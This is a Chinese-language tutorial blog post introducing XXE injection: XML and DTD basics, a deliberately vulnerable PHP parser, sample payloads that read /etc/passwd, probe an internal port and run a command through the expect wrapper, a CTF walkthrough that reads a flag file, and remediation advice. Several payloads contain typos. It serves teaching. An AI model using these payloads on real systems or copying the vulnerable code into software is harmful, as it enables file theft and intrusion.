[web安全原理分析]-XEE漏洞入门
前言
1
前言
XXE漏洞
XXE漏洞全称(XML External Entity Injection)即xml外部实体注入漏洞，XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置，没有对上传的xml文件进行过滤，导致可上传恶意xml文件。
XML基础
XML
XML(EXtensible Markup Language，可扩展标记语言)用来结构化、存储以及传输信息。
XML文档结构包括3部分:XML声明、文档类型定义(可选)和文档元素
1 <!-- XML声明(定义了XML的版本和编码) -->
2 <?xml version="1.0" encoding="ISO-8859-1"?>
3
4 <!-- 文档类型定义 -->
5 <!DOCTYPE note [
6 <!ELEMENT note (to,from,heading,body)>
7 <!ELEMENT to (#PCDATA)>
8 <!ELEMENT from (#PCDATA)>
9 <!ELEMENT heading (#PCDATA)>
10 <!ELEMENT body (#PCDATA)>
11 ]>
12
13 <!-- 文档元素 -->
14 <note>
15 <to>George</to>
16 <from>John</from>
17 <heading>Reminder</heading>
18 <body>Don't forget the meeting!</body>
19 </note>
1.XML声明
xml声明以<?开头，以?>结束。version属性是必选的，它定义了XML版本。encoding属性是可选的，它定义了XML进行解码时所用的字符集
<?xml version="1.0" encoding="ISO-8859-1"?>
2.文档类型定义
文档类型定义(Document Type Definition,DTD)用来约束一个XML文档的书写规范。
1.文档类型定义的基础语法:
<!ELEMENT 元素名 类型>
2.内部定义
将文档类型定义放在XML文档中，称为内部定义，内部定义的格式如下:
<!DOCTYPE 根元素 [元素声明]>
eg:
<!DOCTYPE note [ <!-- 定义此文档是note类型 -->
<!ELEMENT note (to,from,heading,body)> <!-- 定义note有4个元素:to from heading body -->
<!ELEMENT to (#PCDATA)> <!-- 定义to元素为#PCDATA类型 -->
<!ELEMENT from (#PCDATA)> <!-- 定义from元素为#PCDATA类型 -->
<!ELEMENT heading (#PCDATA)> <!-- 定义heading元素为#PCDATA类型 -->
<!ELEMENT body (#PCDATA)> <!-- 定义body元素为#PCDATA类型 -->
]>
3.外部文档引用
文档类型定义的内容也可以保存为单独的DTD文档
(1)DTD文档在本地格式
<!DOCTYPE 根元素 SYSTEM "文件名">
<!--eg：<!DOCTYPE note SYSTEM "note.dtd">-->
(2)DTD文档外网引用
<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">
<!--eg：<!doctype html public "xxx" "http://www.xx.com/note.dtd">-->
XML漏洞利用
漏洞代码:
file_get_contents函数读取了php://input传入的数据,但是传入的数据没有经过任何过滤,直接在loadXML函数中进行了调用并通过了echo函数输入$username的结果，这样就导致了XXE漏洞的产生。
<?php
libxml_disable_entity_loader(false);
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument(); $dom->loadXML($xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD);
$creds=simplexml_import_dom($dom);
$username=$creds->username;
$password=$creds->password; echo 'hello'.$username; ?>
1.文件读取
通过加载外部实体，利用file://、php://等伪协议读取本地文件
payload:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE creds[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="file:///etc/passwd"]>
<creds>
<username>&xxe</username>
<password>test</password>
</creds>
2.内网探测
利用xxe漏洞进行内网探测，如果端口开启，请求返回的时间会很快，如果端口关闭请求返回的时间会很慢
探测22号端口是否开启
payload:
<?xml version="1.0"?>
<!DOCTYPE creds[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="http://127.0.0.1.22"]>
<creds>
<username>&xxe</username>
<password>test</password>
</creds>
3.内网应用攻击
通过XXE漏洞进行内网应用攻击，例如攻击内网jmx控制台未授权访问的JBpss漏洞进行攻击
4.命令执行
利用xxe漏洞可以调用except://伪协议调用系统命令
payload:
<?xml version="1.0"?>
<!DOCTYPE creds[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="except://id"]>
<creds>
<username>&xxe</username>
<password>test</password>
</creds>
XXE-CTF实例
目标:http://web.jarvisoj.com:9882/
BP抓包一下
将Content-Type:application/json改成application/xml构造XEE
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt"> ]>
<tq>&xxe;</tq>
XEE漏洞修补
1.禁用外部实体。在代码中设置libxml_disable_entity_loader(true)
2.过滤用户提交的XML数据。过滤关键词为<!DOCTYPE、<!ENTITY、SYSTEM和PUBLIC.
参考学习:《web安全原理分析与实践》——XXE漏洞
https://www.freebuf.com/vuls/175451.html 浅谈XXE实体注入漏洞
https://www.freebuf.com/column/225780.html xxe从入门到放弃
[web安全原理分析]-XEE漏洞入门的更多相关文章
- [web安全原理分析]-SSRF漏洞入门
SSRF漏洞 SSRF漏洞 SSRF意为服务端请求伪造(Server-Side Request Forge).攻击者利用SSRF漏洞通过服务器发起伪造请求,就这样可以访问内网的数据,进行内网信息探测或 ...
- [web安全原理]PHP反序列化漏洞
前言 这几天一直在关注新管状病毒,从微博到各大公众号朋友圈了解感觉挺严重的看微博感觉特别严重看官方说法感觉还行那就取中间的吧 自己要会对这个东西要有理性的判断.关注了好两天所以耽搁了学习emmm 希望 ...
- web安全原理-文件包含漏洞
前言 起来吃完早饭就开始刷攻防世界的题,一个简单的文件包含题我竟然都做不出来我服了 拿出买的书开始从头学习总结文件包含漏洞! 一.文件包含漏洞 文件包含漏洞 文件包含函数的参数没有经过过滤或者严格的 ...
- [web安全原理分析]-文件上传漏洞基础
简介 前端JS过滤绕过 待更新... 文件名过滤绕过 待更新 Content-type过滤绕过 Content-Type用于定义网络文件的类型和网页编码,用来告诉文件接收方以什么形式.什么编码读取这个 ...
- web安全原理分析-SQL注入漏洞全解
简介 靶场:榆林学院信息安全协会--入侵榆大实验靶场 数字型注入 1 字符型注入 1 布尔注入 1.布尔注入简介 mysql bool注入是盲注的一种.与报错注入不同,bool注入没有任何报错信息输出 ...
- [web安全原理]PHP命令执行漏洞基础
前言 PHP命令执行漏洞 应用程序的某些功能功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数被用户控制,就有可能通过命令连接符将恶意命令拼接到正常的函数中,从而随意执行系统命令,这就是命 ...
- 【Android漏洞复现】StrandHogg漏洞复现及原理分析_Android系统上的维京海盗
文章作者MG1937 CNBLOG博客:ALDYS4 QQ:3496925334 0x00 StrandHogg漏洞详情 StrandHogg漏洞 CVE编号:暂无 [漏洞危害] 近日,Android ...
- Linux内核[CVE-2016-5195] (dirty COW)原理分析
[原创]Linux内核[CVE-2016-5195] (dirty COW)原理分析-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com https://bbs.pediy.com/ ...
- CVE2016-8863libupnp缓冲区溢出漏洞原理分析及Poc
1.libupnp问题分析: (1)问题简述: 根据客户给出的报告,通过设备安装的libupnp软件版本来判断,存在缓冲区溢出漏洞:CVE-2016-8863. (2)漏洞原理分析: 该漏洞发生在up ...
随机推荐
- sqlserver安装失败,此计算机上安装了 Microsoft Visual Studio 2008 的早期版本解决方法
安装sql server 2008 management,提示错误:此计算机上安装了 Microsoft Visual Studio 2008 的早期版本.请在安装 SQL Server 2008 前 ...
- Redis实现缓存与分布式锁
缓存与分布式锁 哪些数据适合放入缓存 即时性.数据一致性要求不高的 访问量大且更新频率不高的数据 选择redis做为缓存中间件 <dependency> <groupId>or ...
- [阿里DIN] 深度兴趣网络源码分析 之 整体代码结构
[阿里DIN] 深度兴趣网络源码分析 之 整体代码结构 目录 [阿里DIN] 深度兴趣网络源码分析 之 整体代码结构 0x00 摘要 0x01 文件简介 0x02 总体架构 0x03 总体代码 0x0 ...
- Linux入门到放弃之六《磁盘和文件系统管理一》
要求:创建卷组名为 mail_store:逻辑卷名 mail,从卷组mail_store上划出50GB空间, 使用mkfs命令创建ext3文件系统,并实现开机自动挂载,挂载点/mailbox: (1) ...
- 世界碰撞算法原理和总结（sat gjk）
序言 此文出于作者的想法,从各处文章和论文中,总结和设计项目中碰撞结构处理方法.如有其它见解,可以跟作者商讨.(杨子剑,zijian_yang@yeah.net). 在一个世界中,有多个物体,物体可以 ...
- Gerrit 服务搭建和升级详解（包括 H2 数据库迁移 MySQL 步骤）
1. 安装Gerrit-2.9.5版本(Ubuntu) Gerrit版本:Gerrit-2.9.5.war 操作系统:Ubuntu 16.04.3 JAVA环境:java version " ...
- 一个Task.Factory.StartNew的错误用法
同事写了这样一段代码: FactoryStartNew类: using System; using System.Collections.Generic; using System.Linq; usi ...
- hello world .net core 微服务框架 Viper
1.Viper是什么? Viper 是.NET平台下的Anno微服务框架的一个示例项目.入门简单.安全.稳定.高可用.全平台可监控.底层通讯可以随意切换thrift grpc. 自带服务发现.调用链追 ...
- 重要 | Spark和MapReduce的对比，不仅仅是计算模型？
[前言:笔者将分上下篇文章进行阐述Spark和MapReduce的对比,首篇侧重于"宏观"上的对比,更多的是笔者总结的针对"相对于MapReduce我们为什么选择Spar ...
- uniapp分享功能-系统分享
uni-app分享 uniapp官网地址:https://uniapp.dcloud.io/api/plugins/share?id=sharewithsystem 调用系统分享组件发送分享消息,不需 ...